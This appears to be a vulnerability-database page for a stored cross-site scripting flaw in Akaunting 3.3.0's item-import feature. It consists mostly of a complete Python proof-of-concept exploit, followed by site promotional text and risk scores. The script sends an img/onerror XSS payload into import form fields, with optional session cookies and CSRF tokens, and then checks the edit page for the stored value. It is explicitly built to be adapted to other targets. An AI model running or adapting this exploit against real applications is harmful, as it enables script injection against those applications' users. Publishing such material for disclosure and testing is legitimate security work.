...[ More ]
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2026-118368 | 11 Nov 202606:10 | – | circl | |
| CVE-2026-118368 | 11 Nov 202604:40 | – | cve | |
| CVE-2026-118368 Akaunting 3.3.0 - Stored XSS through imported item names | 11 Nov 202604:40 | – | cvelist | |
| EUVD-2026-123152 | 11 Nov 202604:40 | – | euvd | |
| CVE-2026-118368 | 11 Nov 202604:40 | – | mend | |
| CVE-2026-118368 | 11 Nov 202605:19 | – | nvd | |
| PT-2026-144980 | 11 Nov 202600:00 | – | ptsecurity | |
| CVE-2026-118368: Akaunting: Akaunting 3.3.0 contains a stored cross-site scripting vulnerability in the XLSX item-import workflow | 11 Nov 202600:00 | – | rapid7 | |
| CVE-2026-118368 Akaunting 3.3.0 - Stored XSS through imported item names | 11 Nov 202604:40 | – | vulnrichment |
#!/usr/bin/env python3
"""
CVE-2026-118368
Reusable stored-XSS PoC for import-to-edit workflows.
This is intentionally a generic single-file PoC for research use only.
It is designed to be adapted to different targets by passing the URL,
field names, and optional auth data as CLI parameters.
Examples:
python poc.py --import-url http://target.example.com/1/sales/invoices/import --edit-url http://target.example.com/1/sales/invoices/7/edit --field-name status --payload "\"><img src=x onerror=alert(1)>"
python poc.py --import-url http://target.example.com/1/sales/invoices/import --field-name rows[0][status] --extra-field "number=INV-001" --extra-field "customer=Example" --cookie "session=abc123"
"""
import argparse
import json
import re
import sys
import urllib.error
import urllib.parse
import urllib.request
from html.parser import HTMLParser
from urllib.parse import urljoin
DEFAULT_PAYLOAD = '"><img src=x onerror=alert("Stored XSS")>'
class FormExtractor(HTMLParser):
def __init__(self):
super().__init__()
self.forms = []
self.inputs = []
self.current_form = None
def handle_starttag(self, tag, attrs):
attrs = dict(attrs)
if tag == 'form':
form = {
'action': attrs.get('action', ''),
'method': (attrs.get('method', 'get') or 'get').lower(),
'enctype': (attrs.get('enctype', '') or '').lower(),
'fields': [],
}
self.current_form = form
self.forms.append(form)
if tag in ('input', 'textarea', 'select'):
field = {
'tag': tag,
'type': (attrs.get('type', '') or '').lower(),
'name': attrs.get('name', ''),
'value': attrs.get('value', ''),
'id': attrs.get('id', ''),
'placeholder': attrs.get('placeholder', ''),
}
self.inputs.append(field)
if self.current_form is not None:
self.current_form['fields'].append(field)
def handle_endtag(self, tag):
if tag == 'form':
self.current_form = None
def extract_metadata_from_html(html_path, base_url='https://example.com'):
with open(html_path, 'r', encoding='utf-8', errors='replace') as fh:
html = fh.read()
parser = FormExtractor()
parser.feed(html)
forms = parser.forms
if not forms:
raise ValueError('No <form> elements were found in the provided HTML file.')
import_form = None
for form in forms:
action = (form.get('action') or '').lower()
method = form.get('method', 'get').lower()
if method == 'post' and ('import' in action or 'upload' in action):
import_form = form
break
if import_form is None:
for form in forms:
if form.get('method', 'get').lower() == 'post':
import_form = form
break
if import_form is None:
raise ValueError('No suitable POST form was found in the HTML file.')
import_url = import_form.get('action') or base_url
if not re.match(r'^https?://', import_url):
import_url = urljoin(base_url, import_url)
field_values = {}
for field in import_form.get('fields', []):
name = (field.get('name') or '').strip()
if not name:
continue
if field.get('type', '').lower() in {'hidden', 'text', 'email', 'number', 'password', 'file'}:
field_values[name] = field.get('value', '')
field_name = 'status'
for candidate in ['status', 'name', 'number', 'customer', 'description', 'category', 'amount', 'type']:
if candidate in field_values:
field_name = candidate
break
value_field = 'status'
for field in parser.inputs:
name = (field.get('name') or '').lower()
if 'status' in name:
value_field = field.get('name') or 'status'
break
csrf = None
for field in parser.inputs:
name = (field.get('name') or '').lower()
if 'csrf' in name or 'token' in name:
csrf = field.get('value') or None
break
edit_url = None
for form in forms:
action = (form.get('action') or '').lower()
if 'edit' in action:
edit_url = urljoin(base_url, form.get('action', ''))
break
if not edit_url:
match = re.search(r'href=["\']([^"\']+/edit[^"\']*)["\']', html, flags=re.I)
if match:
edit_url = urljoin(base_url, match.group(1))
return {
'import_url': import_url,
'edit_url': edit_url,
'field_name': field_name,
'value_field': value_field,
'csrf_token': csrf,
'extra_fields': [{k: v} for k, v in field_values.items() if k not in {field_name, value_field, 'token', 'csrf'}],
}
def prompt_value(prompt_text, default_value):
try:
value = input(f"{prompt_text} [{default_value}]: ").strip()
except EOFError:
return default_value
return value if value else default_value
def parse_extra_fields(raw_fields):
result = {}
for item in raw_fields or []:
if '=' not in item:
continue
key, value = item.split('=', 1)
result[key] = value
return result
def build_headers(cookie=None, csrf_token=None, extra_headers=None):
headers = {
'User-Agent': 'Mozilla/5.0 PoC/1.0',
'Accept': '*/*',
}
if cookie:
headers['Cookie'] = cookie
if csrf_token:
headers['X-CSRF-Token'] = csrf_token
if extra_headers:
for h in extra_headers:
if ':' not in h:
continue
name, value = h.split(':', 1)
headers[name.strip()] = value.strip()
return headers
def send_import_request(import_url, field_name, payload, extra_fields=None, cookie=None, csrf_token=None, extra_headers=None, data_format='form'):
extras = parse_extra_fields(extra_fields or [])
form = dict(extras)
form[field_name] = payload
if data_format == 'json':
body = json.dumps(form).encode('utf-8')
content_type = 'application/json'
encoded_body = body
else:
encoded_body = urllib.parse.urlencode(form).encode('utf-8')
content_type = 'application/x-www-form-urlencoded'
request = urllib.request.Request(
import_url,
data=encoded_body,
method='POST',
headers={**build_headers(cookie, csrf_token, extra_headers), 'Content-Type': content_type},
)
print("[+] Source: import request")
print(f"[+] POST {import_url}")
print(f"[+] Field : {field_name}")
print(f"[+] Payload: {payload}")
try:
with urllib.request.urlopen(request, timeout=20) as resp:
body_text = resp.read(2000).decode('utf-8', errors='replace')
print(f"[+] HTTP {resp.status}")
print(f"[+] Import response: {body_text[:500]}")
return True
except urllib.error.HTTPError as exc:
body_text = exc.read(2000).decode('utf-8', errors='replace')
print(f"[!] HTTP {exc.code}")
print(f"[!] Import response: {body_text[:500]}")
return False
except Exception as exc:
print(f"[!] Request failed: {exc}")
return False
def fetch_edit_page(edit_url, value_field, cookie=None, csrf_token=None, extra_headers=None):
request = urllib.request.Request(
edit_url,
method='GET',
headers={**build_headers(cookie, csrf_token, extra_headers), 'Accept': 'text/html,application/xhtml+xml'},
)
print("[+] Sink: edit form render")
print(f"[+] GET {edit_url}")
print(f"[+] Value field: {value_field}")
try:
with urllib.request.urlopen(request, timeout=20) as resp:
page = resp.read(5000).decode('utf-8', errors='replace')
print(f"[+] HTTP {resp.status}")
if f'name="{value_field}"' in page or f"name='{value_field}'" in page:
print('[+] Value field present in edit page response.')
print(page[:800])
return True
except urllib.error.HTTPError as exc:
page = exc.read(5000).decode('utf-8', errors='replace')
print(f"[!] HTTP {exc.code}")
print(page[:800])
return False
except Exception as exc:
print(f"[!] Request failed: {exc}")
return False
def parse_args():
parser = argparse.ArgumentParser(description='Generic stored-XSS PoC for import-to-edit workflows.')
parser.add_argument('--import-url', help='Target URL that accepts the malicious import request.')
parser.add_argument('--edit-url', help='Optional edit page that renders the stored value back into the DOM.')
parser.add_argument('--field-name', default='status', help='Field name to populate in the import request.')
parser.add_argument('--value-field', default='status', help='Hidden/input field name expected in the edit page.')
parser.add_argument('--payload', default=DEFAULT_PAYLOAD, help='Injected value to store.')
parser.add_argument('--extra-field', action='append', default=[], help='Additional form keys, example: number=INV-001')
parser.add_argument('--cookie', default=None, help='Optional Cookie header, for example: session=abc123')
parser.add_argument('--csrf-token', default=None, help='Optional CSRF token value for X-CSRF-Token header')
parser.add_argument('--header', action='append', default=[], help='Additional header in Name:Value format')
parser.add_argument('--data-format', choices=['form', 'json'], default='form', help='Request body format for the import step')
parser.add_argument('--html-source', help='Path to a saved HTML page from the browser; the script will extract form parameters automatically.')
return parser.parse_args()
def main():
args = parse_args()
if args.html_source:
try:
meta = extract_metadata_from_html(args.html_source)
except FileNotFoundError:
print(f"[!] HTML source file not found: {args.html_source}")
sys.exit(1)
except Exception as exc:
print(f"[!] Could not parse HTML source: {exc}")
sys.exit(1)
if not args.import_url:
args.import_url = meta['import_url']
if not args.edit_url:
args.edit_url = meta.get('edit_url')
if args.field_name == 'status' and meta.get('field_name'):
args.field_name = meta['field_name']
if args.value_field == 'status' and meta.get('value_field'):
args.value_field = meta['value_field']
if not args.csrf_token and meta.get('csrf_token'):
args.csrf_token = meta['csrf_token']
if not args.extra_field and meta.get('extra_fields'):
for item in meta['extra_fields']:
for key, value in item.items():
args.extra_field.append(f'{key}={value}')
if not args.import_url:
args.import_url = prompt_value('Import URL', 'http://localhost:8000/1/sales/invoices/import')
if not args.edit_url:
args.edit_url = prompt_value('Edit URL', 'http://localhost:8000/1/sales/invoices/1/edit')
if not args.payload:
args.payload = prompt_value('Payload', DEFAULT_PAYLOAD)
print('\n=== Generic Stored-XSS PoC ===')
print('This script is intentionally generic and should be adapted to the target app.')
print('================================\n')
ok = send_import_request(
import_url=args.import_url,
field_name=args.field_name,
payload=args.payload,
extra_fields=args.extra_field,
cookie=args.cookie,
csrf_token=args.csrf_token,
extra_headers=args.header,
data_format=args.data_format,
)
if ok and args.edit_url:
fetch_edit_page(
edit_url=args.edit_url,
value_field=args.value_field,
cookie=args.cookie,
csrf_token=args.csrf_token,
extra_headers=args.header,
)
sys.exit(0 if ok else 1)
if __name__ == '__main__':
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
18 Nov 2026 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 47
EPSS0.00425
SSVC